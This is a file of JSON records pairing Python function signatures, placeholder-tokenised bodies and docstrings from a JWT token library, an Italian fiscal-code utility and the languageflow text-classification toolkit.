{"signature": "def compare_token(expected: Union[str, bytes],<EOL>actual: Union[str, bytes]) -> bool:", "body": "expected = util.to_bytes(expected)<EOL>actual = util.to_bytes(actual)<EOL>_, expected_sig_seg = expected.rsplit(b'<STR_LIT:.>', <NUM_LIT:1>)<EOL>_, actual_sig_seg = actual.rsplit(b'<STR_LIT:.>', <NUM_LIT:1>)<EOL>expected_sig = util.b64_decode(expected_sig_seg)<EOL>actual_sig = util.b64_decode(actual_sig_seg)<EOL>return compare_signature(expected_sig, actual_sig)<EOL>", "docstring": "Compares the given tokens.\n\n:param expected: The expected token.\n:type expected: Union[str, bytes]\n:param actual: The actual token.\n:type actual: Union[str, bytes]\n:return: Do the tokens match?\n:rtype: bool", "id": "f10214:m5"}
{"signature": "def __init__(self, secret: Union[str, bytes], payload: dict = None,<EOL>alg: str = default_alg, header: dict = None,<EOL>issuer: str = None, subject: str = None, audience: str = None,<EOL>valid_to: int = None, valid_from: int = None,<EOL>issued_at: int = None, id: str = None):", "body": "self.secret = secret<EOL>self.payload = payload or {}<EOL>self.alg = alg<EOL>self._header = {}<EOL>self.header = header or {}<EOL>self.registered_claims = {}<EOL>if issuer:<EOL><INDENT>self.issuer = issuer<EOL><DEDENT>if subject:<EOL><INDENT>self.subject = subject<EOL><DEDENT>if audience:<EOL><INDENT>self.audience = audience<EOL><DEDENT>if valid_to:<EOL><INDENT>self.valid_to = valid_to<EOL><DEDENT>if valid_from:<EOL><INDENT>self.valid_from = valid_from<EOL><DEDENT>if issued_at:<EOL><INDENT>self.issued_at = issued_at<EOL><DEDENT>if id:<EOL><INDENT>self.id = id<EOL><DEDENT>self._pop_claims_from_payload()<EOL>", "docstring": ":param secret: The secret used to encode the token.\n:type secret: Union[str, bytes]\n:param payload: The payload to be encoded in the token.\n:type payload: dict\n:param alg: The algorithm used to hash the token.\n:type alg: str\n:param header: The header of the token.\n:type header: dict\n:param issuer: The issuer of the token.\n:type issuer: str\n:param subject: The subject of the token.\n:type subject: str\n:param audience: The audience of the token.\n:type audience: str\n:param valid_to: Date the token expires as a timestamp.\n:type valid_to: int\n:param valid_from: Date the token is valid from as timestamp.\n:type valid_from: int\n:param issued_at: Date the token was issued as a timestamp.\n:type issued_at: int\n:param id: The unique ID of the token.\n:type id: str", "id": "f10214:c0:m0"}
{"signature": "@property<EOL><INDENT>def header(self) -> dict:<DEDENT>", "body": "header = {}<EOL>if isinstance(self._header, dict):<EOL><INDENT>header = self._header.copy()<EOL>header.update(self._header)<EOL><DEDENT>header.update({<EOL>'<STR_LIT:type>': '<STR_LIT>',<EOL>'<STR_LIT>': self.alg<EOL>})<EOL>return header<EOL>", "docstring": ":return: Token header.\n:rtype: dict", "id": "f10214:c0:m1"}
{"signature": "@header.setter<EOL><INDENT>def header(self, header: dict):<DEDENT>", "body": "self._header = header<EOL>", "docstring": "Sets the token header.\n\n:param header: New header\n:type header: dict", "id": "f10214:c0:m2"}
{"signature": "@property<EOL><INDENT>def issuer(self) -> Union[str, None]:<DEDENT>", "body": "return self.registered_claims.get('<STR_LIT>')<EOL>", "docstring": ":return: Issuer (`iss`) claim from the token.\n:rtype: Union[str, None]", "id": "f10214:c0:m3"}
{"signature": "@issuer.setter<EOL><INDENT>def issuer(self, issuer: str):<DEDENT>", "body": "self.registered_claims['<STR_LIT>'] = issuer<EOL>", "docstring": "Sets the issuer (`iss`) claim in the token.\n\n:param issuer: New value.\n:type issuer: str", "id": "f10214:c0:m4"}
{"signature": "@property<EOL><INDENT>def subject(self) -> Union[str, None]:<DEDENT>", "body": "return self.registered_claims.get('<STR_LIT>')<EOL>", "docstring": ":return: Subject (`sub`) claim from the token.\n:rtype: Union[str, None]", "id": "f10214:c0:m5"}
{"signature": "@subject.setter<EOL><INDENT>def subject(self, subject: str):<DEDENT>", "body": "self.registered_claims['<STR_LIT>'] = subject<EOL>", "docstring": "Sets the subject (`sub`) claim in the token.\n\n:param subject: New value.\n:type subject: str", "id": "f10214:c0:m6"}
{"signature": "@property<EOL><INDENT>def audience(self) -> Union[str, None]:<DEDENT>", "body": "return self.registered_claims.get('<STR_LIT>')<EOL>", "docstring": ":return: Audience (`aud`) claim from the token.\n:rtype: Union[str, None]", "id": "f10214:c0:m7"}
{"signature": "@audience.setter<EOL><INDENT>def audience(self, audience: str):<DEDENT>", "body": "self.registered_claims['<STR_LIT>'] = audience<EOL>", "docstring": "Sets the audience (`aud`) claim in the token.\n\n:param audience: New value.\n:type audience: str", "id": "f10214:c0:m8"}
{"signature": "@property<EOL><INDENT>def valid_to(self) -> Union[int, None]:<DEDENT>", "body": "return self.registered_claims.get('<STR_LIT>')<EOL>", "docstring": ":return: Expires (`exp`) claim from the token.\n:rtype: Union[int, None]", "id": "f10214:c0:m9"}
{"signature": "@valid_to.setter<EOL><INDENT>def valid_to(self, valid_to: int):<DEDENT>", "body": "self.registered_claims['<STR_LIT>'] = valid_to<EOL>", "docstring": "Sets the expires (`exp`) claim in the token.\n\n:param valid_to: New value.\n:type valid_to: int", "id": "f10214:c0:m10"}
{"signature": "@property<EOL><INDENT>def valid_from(self) -> Union[int, None]:<DEDENT>", "body": "return self.registered_claims.get('<STR_LIT>')<EOL>", "docstring": ":return: Not before (`nbf`) claim from the token.\n:rtype: Union[int, None]", "id": "f10214:c0:m11"}
{"signature": "@valid_from.setter<EOL><INDENT>def valid_from(self, valid_from: int):<DEDENT>", "body": "self.registered_claims['<STR_LIT>'] = valid_from<EOL>", "docstring": "Sets the not before (`nbf`) claim in the token.\n\n:param valid_from: New value.\n:type valid_from: int", "id": "f10214:c0:m12"}
{"signature": "@property<EOL><INDENT>def issued_at(self) -> Union[int, None]:<DEDENT>", "body": "return self.registered_claims.get('<STR_LIT>')<EOL>", "docstring": ":return: Issued at (`iat`) claim from the token.\n:rtype: Union[int, None]", "id": "f10214:c0:m13"}
{"signature": "@issued_at.setter<EOL><INDENT>def issued_at(self, issued_at: int):<DEDENT>", "body": "self.registered_claims['<STR_LIT>'] = issued_at<EOL>", "docstring": "Sets the issued at (`iat`) claim in the token.\n\n:param issued_at: New value.\n:type issued_at: int", "id": "f10214:c0:m14"}
{"signature": "@property<EOL><INDENT>def id(self) -> Union[str, None]:<DEDENT>", "body": "return self.registered_claims.get('<STR_LIT>')<EOL>", "docstring": ":return: ID (`jti`) claim from the token.\n:rtype: Union[str, None]", "id": "f10214:c0:m15"}
{"signature": "@id.setter<EOL><INDENT>def id(self, id: str):<DEDENT>", "body": "self.registered_claims['<STR_LIT>'] = id<EOL>", "docstring": "Sets the ID (`jti`) claim in the token.\n\n:param id: New value.\n:type id: str", "id": "f10214:c0:m16"}
{"signature": "def valid(self, time: int = None) -> bool:", "body": "if time is None:<EOL><INDENT>epoch = datetime(<NUM_LIT>, <NUM_LIT:1>, <NUM_LIT:1>, <NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:0>)<EOL>now = datetime.utcnow()<EOL>time = int((now - epoch).total_seconds())<EOL><DEDENT>if isinstance(self.valid_from, int) and time < self.valid_from:<EOL><INDENT>return False<EOL><DEDENT>if isinstance(self.valid_to, int) and time > self.valid_to:<EOL><INDENT>return False<EOL><DEDENT>return True<EOL>", "docstring": "Is the token valid? This method only checks the timestamps within the\ntoken and compares them against the current time if none is provided.\n\n:param time: The timestamp to validate against\n:type time: Union[int, None]\n:return: The validity of the token.\n:rtype: bool", "id": "f10214:c0:m17"}
{"signature": "def _pop_claims_from_payload(self):", "body": "claims_in_payload = [k for k in self.payload.keys() if<EOL>k in registered_claims.values()]<EOL>for name in claims_in_payload:<EOL><INDENT>self.registered_claims[name] = self.payload.pop(name)<EOL><DEDENT>", "docstring": "Check for registered claims in the payload and move them to the\nregistered_claims property, overwriting any extant claims.", "id": "f10214:c0:m18"}
{"signature": "def encode(self) -> str:", "body": "payload = {}<EOL>payload.update(self.registered_claims)<EOL>payload.update(self.payload)<EOL>return encode(self.secret, payload, self.alg, self.header)<EOL>", "docstring": "Create a token based on the data held in the class.\n\n:return: A new token\n:rtype: str", "id": "f10214:c0:m19"}
{"signature": "@staticmethod<EOL><INDENT>def decode(secret: Union[str, bytes], token: Union[str, bytes],<EOL>alg: str = default_alg) -> '<STR_LIT>':<DEDENT>", "body": "header, payload = decode(secret, token, alg)<EOL>return Jwt(secret, payload, alg, header)<EOL>", "docstring": "Decodes the given token into an instance of `Jwt`.\n\n:param secret: The secret used to decode the token. Must match the\n    secret used when creating the token.\n:type secret: Union[str, bytes]\n:param token: The token to decode.\n:type token: Union[str, bytes]\n:param alg: The algorithm used to decode the token. Must match the\n    algorithm used when creating the token.\n:type alg: str\n:return: The decoded token.\n:rtype: `Jwt`", "id": "f10214:c0:m20"}
{"signature": "def compare(self, jwt: '<STR_LIT>', compare_dates: bool = False) -> bool:", "body": "if self.secret != jwt.secret:<EOL><INDENT>return False<EOL><DEDENT>if self.payload != jwt.payload:<EOL><INDENT>return False<EOL><DEDENT>if self.alg != jwt.alg:<EOL><INDENT>return False<EOL><DEDENT>if self.header != jwt.header:<EOL><INDENT>return False<EOL><DEDENT>expected_claims = self.registered_claims<EOL>actual_claims = jwt.registered_claims<EOL>if not compare_dates:<EOL><INDENT>strip = ['<STR_LIT>', '<STR_LIT>', '<STR_LIT>']<EOL>expected_claims = {k: {v if k not in strip else None} for k, v in<EOL>expected_claims.items()}<EOL>actual_claims = {k: {v if k not in strip else None} for k, v in<EOL>actual_claims.items()}<EOL><DEDENT>if expected_claims != actual_claims:<EOL><INDENT>return False<EOL><DEDENT>return True<EOL>", "docstring": "Compare against another `Jwt`.\n\n:param jwt: The token to compare against.\n:type jwt: Jwt\n:param compare_dates: Should the comparision take dates into account?\n:type compare_dates: bool\n:return: Are the two Jwt's the same?\n:rtype: bool", "id": "f10214:c0:m21"}
{"signature": "def isvalid(code):", "body": "return isinstance(code, basestring) and re.match(PATTERN, code) is not None<EOL>", "docstring": "``isvalid(code) -> bool``\n\n    This function checks if the given fiscal code is syntactically valid.\n\n    eg: isvalid('RCCMNL83S18D969H') -> True\n        isvalid('RCCMNL83S18D969') -> False", "id": "f10221:m0"}
{"signature": "def __common_triplet(input_string, consonants, vowels):", "body": "output = consonants<EOL>while len(output) < <NUM_LIT:3>:<EOL><INDENT>try:<EOL><INDENT>output += vowels.pop(<NUM_LIT:0>)<EOL><DEDENT>except IndexError:<EOL><INDENT>output += '<STR_LIT:X>'<EOL><DEDENT><DEDENT>return output[:<NUM_LIT:3>]<EOL>", "docstring": "__common_triplet(input_string, consonants, vowels) -> string", "id": "f10221:m1"}
{"signature": "def __consonants_and_vowels(input_string):", "body": "input_string = input_string.upper().replace('<STR_LIT:U+0020>', '<STR_LIT>')<EOL>consonants = [ char for char in input_string if char in __CONSONANTS ]<EOL>vowels     = [ char for char in input_string if char in __VOWELS ]<EOL>return \"<STR_LIT>\".join(consonants), vowels<EOL>", "docstring": "__consonants_and_vowels(input_string) -> (string, list)\n\n    Get the consonants as a string and the vowels as a list.", "id": "f10221:m2"}
{"signature": "def __surname_triplet(input_string):", "body": "consonants, vowels = __consonants_and_vowels(input_string)<EOL>return __common_triplet(input_string, consonants, vowels)<EOL>", "docstring": "__surname_triplet(input_string) -> string", "id": "f10221:m3"}
{"signature": "def __name_triplet(input_string):", "body": "if input_string == '<STR_LIT>':<EOL><INDENT>return '<STR_LIT>' <EOL><DEDENT>consonants, vowels = __consonants_and_vowels(input_string)<EOL>if len(consonants) > <NUM_LIT:3>:<EOL><INDENT>return \"<STR_LIT>\" % (consonants[<NUM_LIT:0>], consonants[<NUM_LIT:2>], consonants[<NUM_LIT:3>])<EOL><DEDENT>return __common_triplet(input_string, consonants, vowels)<EOL>", "docstring": "__name_triplet(input_string) -> string", "id": "f10221:m4"}
{"signature": "def control_code(input_string):", "body": "assert len(input_string) == <NUM_LIT:15><EOL>even_controlcode = {}<EOL>for idx, char in enumerate(string.digits):<EOL><INDENT>even_controlcode[char] = idx<EOL><DEDENT>for idx, char in enumerate(string.ascii_uppercase):<EOL><INDENT>even_controlcode[char] = idx<EOL><DEDENT>values = [ <NUM_LIT:1>, <NUM_LIT:0>, <NUM_LIT:5>, <NUM_LIT:7>, <NUM_LIT:9>, <NUM_LIT>, <NUM_LIT:15>, <NUM_LIT>, <NUM_LIT>, <NUM_LIT>, <NUM_LIT:2>, <NUM_LIT:4>, <NUM_LIT>, <NUM_LIT:20>, <NUM_LIT:11>, <NUM_LIT:3>, <NUM_LIT:6>, <NUM_LIT:8>,<EOL><NUM_LIT:12>, <NUM_LIT>, <NUM_LIT:16>, <NUM_LIT:10>, <NUM_LIT>, <NUM_LIT>, <NUM_LIT>, <NUM_LIT> ]<EOL>odd_controlcode = {}<EOL>for idx, char in enumerate(string.digits):<EOL><INDENT>odd_controlcode[char] = values[idx]<EOL><DEDENT>for idx, char in enumerate(string.ascii_uppercase):<EOL><INDENT>odd_controlcode[char] = values[idx]<EOL><DEDENT>code = <NUM_LIT:0><EOL>for idx, char in enumerate(input_string):<EOL><INDENT>if idx % <NUM_LIT:2> == <NUM_LIT:0>:<EOL><INDENT>code += odd_controlcode[char]<EOL><DEDENT>else:<EOL><INDENT>code += even_controlcode[char]<EOL><DEDENT><DEDENT>return string.ascii_uppercase[code % <NUM_LIT>]<EOL>", "docstring": "``control_code(input_string) -> int``\n\n    Computes the control code for the given input_string string. The expected\n    input_string is the first 15 characters of a fiscal code.\n\n    eg: control_code('RCCMNL83S18D969') -> 'H'", "id": "f10221:m5"}
{"signature": "def build(surname, name, birthday, sex, municipality):", "body": "<EOL>output = __surname_triplet(surname) + __name_triplet(name)<EOL>output += str(birthday.year)[<NUM_LIT:2>:]<EOL>output += MONTHSCODE[birthday.month - <NUM_LIT:1>]<EOL>output += \"<STR_LIT>\" % (sex.upper() == '<STR_LIT:M>' and birthday.day or <NUM_LIT> + birthday.day)<EOL>output += municipality<EOL>output += control_code(output)<EOL>assert isvalid(output)<EOL>return output<EOL>", "docstring": "``build(surname, name, birthday, sex, municipality) -> string``\n\n    Computes the fiscal code for the given person data.\n\n    eg: build('Rocca', 'Emanuele', datetime.datetime(1983, 11, 18), 'M', 'D969') \n        -> RCCMNL83S18D969H", "id": "f10221:m6"}
{"signature": "def get_birthday(code):", "body": "assert isvalid(code)<EOL>day = int(code[<NUM_LIT:9>:<NUM_LIT:11>])<EOL>day = day < <NUM_LIT:32> and day or day - <NUM_LIT><EOL>month = MONTHSCODE.index(code[<NUM_LIT:8>]) + <NUM_LIT:1><EOL>year = int(code[<NUM_LIT:6>:<NUM_LIT:8>])<EOL>return \"<STR_LIT>\" % (day, month, year)<EOL>", "docstring": "``get_birthday(code) -> string``\n\n    Birthday of the person whose fiscal code is 'code', in the format DD-MM-YY. \n\n    Unfortunately it's not possible to guess the four digit birth year, given\n    that the Italian fiscal code uses only the last two digits (1983 -> 83).\n    Therefore, this function returns a string and not a datetime object.\n\n    eg: birthday('RCCMNL83S18D969H') -> 18-11-83", "id": "f10221:m7"}
{"signature": "def get_sex(code):", "body": "assert isvalid(code)<EOL>return int(code[<NUM_LIT:9>:<NUM_LIT:11>]) < <NUM_LIT:32> and '<STR_LIT:M>' or '<STR_LIT:F>'<EOL>", "docstring": "``get_sex(code) -> string``\n\n    The sex of the person whose fiscal code is 'code'.\n\n    eg: sex('RCCMNL83S18D969H') -> 'M'\n        sex('CNTCHR83T41D969D') -> 'F'", "id": "f10221:m8"}
{"signature": "def fit(self, X, y, model_filename=None):", "body": "train_file = \"<STR_LIT>\"<EOL>X = [x.replace(\"<STR_LIT:\\n>\", \"<STR_LIT:U+0020>\") for x in X]<EOL>y = [_.replace(\"<STR_LIT:U+0020>\", \"<STR_LIT:->\") for _ in y]<EOL>lines = [\"<STR_LIT>\".format(self.prefix, j, i) for i, j in zip(X, y)]<EOL>content = \"<STR_LIT:\\n>\".join(lines)<EOL>write(train_file, Text(content))<EOL>if model_filename:<EOL><INDENT>self.estimator = ft.supervised(train_file, model_filename)<EOL><DEDENT>else:<EOL><INDENT>self.estimator = ft.supervised(train_file, '<STR_LIT>')<EOL>os.remove('<STR_LIT>')<EOL><DEDENT>os.remove(train_file)<EOL>", "docstring": "Fit FastText according to X, y\n\n        Parameters\n        ----------\n        X : list of string\n            each item is a raw text\n        y : list of string\n            each item is a label", "id": "f10241:c0:m1"}
{"signature": "def predict(self, X):", "body": "x = X<EOL>if not isinstance(X, list):<EOL><INDENT>x = [X]<EOL><DEDENT>y = self.estimator.predict(x)<EOL>y = [item[<NUM_LIT:0>] for item in y]<EOL>y = [self._remove_prefix(label) for label in y]<EOL>if not isinstance(X, list):<EOL><INDENT>y = y[<NUM_LIT:0>]<EOL><DEDENT>return y<EOL>", "docstring": "In order to obtain the most likely label for a list of text\n\n        Parameters\n        ----------\n        X : list of string\n            Raw texts\n\n        Returns\n        -------\n        C : list of string\n            List labels", "id": "f10241:c0:m3"}
{"signature": "def fit(self, X, y, coef_init=None, intercept_init=None,<EOL>sample_weight=None):", "body": "super(SGDClassifier, self).fit(X, y, coef_init, intercept_init,<EOL>sample_weight)<EOL>", "docstring": "Fit linear model with Stochastic Gradient Descent.\n\n        Parameters\n        ----------\n        X : {array-like, sparse matrix}, shape (n_samples, n_features)\n            Training data\n\n        y : numpy array, shape (n_samples,)\n            Target values\n\n        coef_init : array, shape (n_classes, n_features)\n            The initial coefficients to warm-start the optimization.\n\n        intercept_init : array, shape (n_classes,)\n            The initial intercept to warm-start the optimization.\n\n        sample_weight : array-like, shape (n_samples,), optional\n            Weights applied to individual samples.\n            If not provided, uniform weights are assumed. These weights will\n            be multiplied with class_weight (passed through the\n            constructor) if class_weight is specified\n\n        Returns\n        -------\n        self : returns an instance of self.", "id": "f10242:c0:m1"}
{"signature": "def predict(self, X):", "body": "super(SGDClassifier, self).predict(X)<EOL>", "docstring": "Predict class labels for samples in X.\n\n        Parameters\n        ----------\n        X : {array-like, sparse matrix}, shape = [n_samples, n_features]\n            Samples.\n\n        Returns\n        -------\n        C : array, shape = [n_samples]\n            Predicted class label per sample.", "id": "f10242:c0:m2"}
{"signature": "def fit(self, X, y=None):", "body": "self.booster_ = None<EOL>X = self._convert(X, y)<EOL>if self.wl:<EOL><INDENT>wl = [(X, '<STR_LIT:train>')]<EOL>for i, ent in enumerate(self.wl):<EOL><INDENT>ent, lbl = ent<EOL>wl.append((self.convert(ent, lbl), '<STR_LIT>' + str(i)))<EOL><DEDENT>self.booster_ = xgb.train(self.param, X, self.n_iter, wl, verbose_eval=self.param[\"<STR_LIT>\"])<EOL><DEDENT>else:<EOL><INDENT>self.booster_ = xgb.train(self.param, X, self.n_iter,<EOL>[(X, '<STR_LIT:train>')], verbose_eval=self.param[\"<STR_LIT>\"])<EOL><DEDENT>return self<EOL>", "docstring": "Parameters\n----------\nX : {array-like, sparse matrix}\n    Training data. Shape (n_samples, n_features)\n\ny : numpy array\n    Target values. Shape (n_samples,)\n\nReturns\n-------\nself : C\n    returns an instance of self.", "id": "f10243:c0:m1"}
{"signature": "def fit(self, X, y):", "body": "<EOL>word_vector_transformer = WordVectorTransformer(padding='<STR_LIT>')<EOL>X = word_vector_transformer.fit_transform(X)<EOL>X = LongTensor(X)<EOL>self.word_vector_transformer = word_vector_transformer<EOL>y_transformer = LabelEncoder()<EOL>y = y_transformer.fit_transform(y)<EOL>y = torch.from_numpy(y)<EOL>self.y_transformer = y_transformer<EOL>dataset = CategorizedDataset(X, y)<EOL>dataloader = DataLoader(dataset,<EOL>batch_size=self.batch_size,<EOL>shuffle=True,<EOL>num_workers=<NUM_LIT:4>)<EOL>KERNEL_SIZES = self.kernel_sizes<EOL>NUM_KERNEL = self.num_kernel<EOL>EMBEDDING_DIM = self.embedding_dim<EOL>model = TextCNN(<EOL>vocab_size=word_vector_transformer.get_vocab_size(),<EOL>embedding_dim=EMBEDDING_DIM,<EOL>output_size=len(self.y_transformer.classes_),<EOL>kernel_sizes=KERNEL_SIZES,<EOL>num_kernel=NUM_KERNEL)<EOL>if USE_CUDA:<EOL><INDENT>model = model.cuda()<EOL><DEDENT>EPOCH = self.epoch<EOL>LR = self.lr<EOL>loss_function = nn.CrossEntropyLoss()<EOL>optimizer = optim.Adam(model.parameters(), lr=LR)<EOL>for epoch in range(EPOCH):<EOL><INDENT>losses = []<EOL>for i, data in enumerate(dataloader):<EOL><INDENT>X, y = data<EOL>X, y = Variable(X), Variable(y)<EOL>optimizer.zero_grad()<EOL>model.train()<EOL>output = model(X)<EOL>loss = loss_function(output, y)<EOL>losses.append(loss.data.tolist()[<NUM_LIT:0>])<EOL>loss.backward()<EOL>optimizer.step()<EOL>if i % <NUM_LIT:100> == <NUM_LIT:0>:<EOL><INDENT>print(\"<STR_LIT>\" % (<EOL>epoch, EPOCH, np.mean(losses)))<EOL>losses = []<EOL><DEDENT><DEDENT><DEDENT>self.model = model<EOL>", "docstring": "Fit KimCNNClassifier according to X, y\n\n        Parameters\n        ----------\n        X : list of string\n            each item is a raw text\n        y : list of string\n            each item is a label", "id": "f10244:c2:m1"}
{"signature": "def predict(self, X):", "body": "x = self.word_vector_transformer.transform(X)<EOL>x = Variable(LongTensor(x))<EOL>y = self.model(x)<EOL>y = torch.max(y, <NUM_LIT:1>)[<NUM_LIT:1>].data.numpy()<EOL>y = self.y_transformer.inverse_transform(y)<EOL>return y<EOL>", "docstring": "Parameters\n----------\nX : list of string\n    Raw texts\n\nReturns\n-------\nC : list of string\n    List labels", "id": "f10244:c2:m2"}
{"signature": "def fit(self, X, y):", "body": "trainer = pycrfsuite.Trainer(verbose=True)<EOL>for xseq, yseq in zip(X, y):<EOL><INDENT>trainer.append(xseq, yseq)<EOL><DEDENT>trainer.set_params(self.params)<EOL>if self.filename:<EOL><INDENT>filename = self.filename<EOL><DEDENT>else:<EOL><INDENT>filename = '<STR_LIT>'<EOL><DEDENT>trainer.train(filename)<EOL>tagger = pycrfsuite.Tagger()<EOL>tagger.open(filename)<EOL>self.estimator = tagger<EOL>", "docstring": "Fit CRF according to X, y\n\n        Parameters\n        ----------\n        X : list of text\n            each item is a text\n        y: list\n           each item is either a label (in multi class problem) or list of\n           labels (in multi label problem)", "id": "f10245:c0:m1"}
{"signature": "def predict(self, X):", "body": "if isinstance(X[<NUM_LIT:0>], list):<EOL><INDENT>return [self.estimator.tag(x) for x in X]<EOL><DEDENT>return self.estimator.tag(X)<EOL>", "docstring": "Predict class labels for samples in X.\n\n        Parameters\n        ----------\n        X : {array-like, sparse matrix}, shape = [n_samples, n_features]\n            Samples.", "id": "f10245:c0:m2"}
{"signature": "@staticmethod<EOL><INDENT>def log(model_folder, binary_file=\"<STR_LIT>\",<EOL>log_folder=\"<STR_LIT>\"):<DEDENT>", "body": "file = join(model_folder, binary_file)<EOL>vectorizer = joblib.load(file)<EOL>output = []<EOL>for token in vectorizer.vocabulary_:<EOL><INDENT>index = vectorizer.vocabulary_[token]<EOL>ngram = len(token.split(\"<STR_LIT:U+0020>\"))<EOL>output.append({<EOL>\"<STR_LIT>\": token,<EOL>\"<STR_LIT>\": ngram,<EOL>\"<STR_LIT>\": vectorizer.idf_[index],<EOL>\"<STR_LIT>\": vectorizer.period_[index].item(),<EOL>\"<STR_LIT>\": vectorizer.df_[index],<EOL>})<EOL><DEDENT>output = sorted(output, key=lambda item: item[\"<STR_LIT>\"])<EOL>content = json.dumps(output, ensure_ascii=False)<EOL>write(join(log_folder, \"<STR_LIT>\"), content)<EOL>", "docstring": "Parameters\n----------\nmodel_folder : string\n    folder contains binaries file of model\nbinary_file : string\n    file path to tfidf binary file\nlog_folder : string\n    log folder", "id": "f10247:c0:m0"}
{"signature": "@staticmethod<EOL><INDENT>def log(model_folder, binary_file=\"<STR_LIT>\",<EOL>log_folder=\"<STR_LIT>\"):<DEDENT>", "body": "file = join(model_folder, binary_file)<EOL>vectorizer = joblib.load(file)<EOL>output = []<EOL>for token in vectorizer.vocabulary_:<EOL><INDENT>index = vectorizer.vocabulary_[token]<EOL>ngram = len(token.split(\"<STR_LIT:U+0020>\"))<EOL>output.append({<EOL>\"<STR_LIT>\": token,<EOL>\"<STR_LIT>\": ngram,<EOL>\"<STR_LIT>\": vectorizer.period_[index].item(),<EOL>\"<STR_LIT>\": vectorizer.df_[index],<EOL>})<EOL><DEDENT>output = sorted(output, key=lambda item: item[\"<STR_LIT>\"])<EOL>content = json.dumps(output, ensure_ascii=False)<EOL>write(join(log_folder, \"<STR_LIT>\"), content)<EOL>", "docstring": "Parameters\n----------\nmodel_folder : string\n    folder contains binaries file of model\nbinary_file : string\n    file path to count transformer binary file\nlog_folder : string\n    log folder", "id": "f10251:c0:m0"}
{"signature": "def print_cm(cm, labels, hide_zeroes=False, hide_diagonal=False, hide_threshold=None):", "body": "columnwidth = max([len(x) for x in labels] + [<NUM_LIT:5>])  <EOL>empty_cell = \"<STR_LIT:U+0020>\" * columnwidth<EOL>print(\"<STR_LIT:U+0020>\" + empty_cell, end=\"<STR_LIT:U+0020>\")<EOL>for label in labels:<EOL><INDENT>print(\"<STR_LIT>\".format(columnwidth) % label, end=\"<STR_LIT:U+0020>\")<EOL><DEDENT>print()<EOL>for i, label1 in enumerate(labels):<EOL><INDENT>print(\"<STR_LIT>\".format(columnwidth) % label1, end=\"<STR_LIT:U+0020>\")<EOL>for j in range(len(labels)):<EOL><INDENT>cell = \"<STR_LIT>\".format(columnwidth) % cm[i, j]<EOL>if hide_zeroes:<EOL><INDENT>cell = cell if float(cm[i, j]) != <NUM_LIT:0> else empty_cell<EOL><DEDENT>if hide_diagonal:<EOL><INDENT>cell = cell if i != j else empty_cell<EOL><DEDENT>if hide_threshold:<EOL><INDENT>cell = cell if cm[i, j] > hide_threshold else empty_cell<EOL><DEDENT>print(cell, end=\"<STR_LIT:U+0020>\")<EOL><DEDENT>print()<EOL><DEDENT>", "docstring": "pretty print for confusion matrixes", "id": "f10253:m0"}
{"signature": "def data(self, X=None, y=None, sentences=None):", "body": "self.X = X<EOL>self.y = y<EOL>self.sentences = sentences<EOL>", "docstring": "Add data to flow", "id": "f10255:c0:m1"}
{"signature": "def transform(self, transformer):", "body": "self.transformers.append(transformer)<EOL>from languageflow.transformer.tagged import TaggedTransformer<EOL>if isinstance(transformer, TaggedTransformer):<EOL><INDENT>self.X, self.y = transformer.transform(self.sentences)<EOL><DEDENT>if isinstance(transformer, TfidfVectorizer):<EOL><INDENT>self.X = transformer.fit_transform(self.X)<EOL><DEDENT>if isinstance(transformer, CountVectorizer):<EOL><INDENT>self.X = transformer.fit_transform(self.X)<EOL><DEDENT>if isinstance(transformer, NumberRemover):<EOL><INDENT>self.X = transformer.transform(self.X)<EOL><DEDENT>if isinstance(transformer, MultiLabelBinarizer):<EOL><INDENT>self.y = transformer.fit_transform(self.y)<EOL><DEDENT>", "docstring": "Add transformer to flow and apply transformer to data in flow\n\nParameters\n----------\ntransformer : Transformer\n    a transformer to transform data", "id": "f10255:c0:m2"}
{"signature": "def add_model(self, model):", "body": "self.models.append(model)<EOL>", "docstring": "Add model to flow", "id": "f10255:c0:m3"}
{"signature": "def train(self):", "body": "for i, model in enumerate(self.models):<EOL><INDENT>N = [int(i * len(self.y)) for i in self.lc_range]<EOL>for n in N:<EOL><INDENT>X = self.X[:n]<EOL>y = self.y[:n]<EOL>e = Experiment(X, y, model.estimator, self.scores,<EOL>self.validation_method)<EOL>e.log_folder = self.log_folder<EOL>e.train()<EOL><DEDENT><DEDENT>", "docstring": "Train model with transformed data", "id": "f10255:c0:m7"}
{"signature": "def export(self, model_name, export_folder):", "body": "for transformer in self.transformers:<EOL><INDENT>if isinstance(transformer, MultiLabelBinarizer):<EOL><INDENT>joblib.dump(transformer,<EOL>join(export_folder, \"<STR_LIT>\"),<EOL>protocol=<NUM_LIT:2>)<EOL><DEDENT>if isinstance(transformer, TfidfVectorizer):<EOL><INDENT>joblib.dump(transformer,<EOL>join(export_folder, \"<STR_LIT>\"),<EOL>protocol=<NUM_LIT:2>)<EOL><DEDENT>if isinstance(transformer, CountVectorizer):<EOL><INDENT>joblib.dump(transformer,<EOL>join(export_folder, \"<STR_LIT>\"),<EOL>protocol=<NUM_LIT:2>)<EOL><DEDENT>if isinstance(transformer, NumberRemover):<EOL><INDENT>joblib.dump(transformer,<EOL>join(export_folder, \"<STR_LIT>\"),<EOL>protocol=<NUM_LIT:2>)<EOL><DEDENT><DEDENT>model = [model for model in self.models if model.name == model_name][<NUM_LIT:0>]<EOL>e = Experiment(self.X, self.y, model.estimator, None)<EOL>model_filename = join(export_folder, \"<STR_LIT>\")<EOL>e.export(model_filename)<EOL>", "docstring": "Export model and transformers to export_folder\n\nParameters\n----------\nmodel_name: string\n    name of model to export\nexport_folder: string\n    folder to store exported model and transformers", "id": "f10255:c0:m8"}
{"signature": "@click.group()<EOL>def main(args=None):", "body": "pass<EOL>", "docstring": "Console script for languageflow", "id": "f10256:m0"}
{"signature": "def __init__(self, filepath):", "body": "data_folder = join(dirname(dirname(__file__)), \"<STR_LIT:data>\")<EOL>data_file = join(data_folder, filepath)<EOL>self.data_file = data_file<EOL>self.words_data = None<EOL>", "docstring": "load words from Ho Ngoc Duc's dictionary\n\n        :param str filepath: filename of dictionary data\n        :type filepath: str", "id": "f10259:c0:m0"}
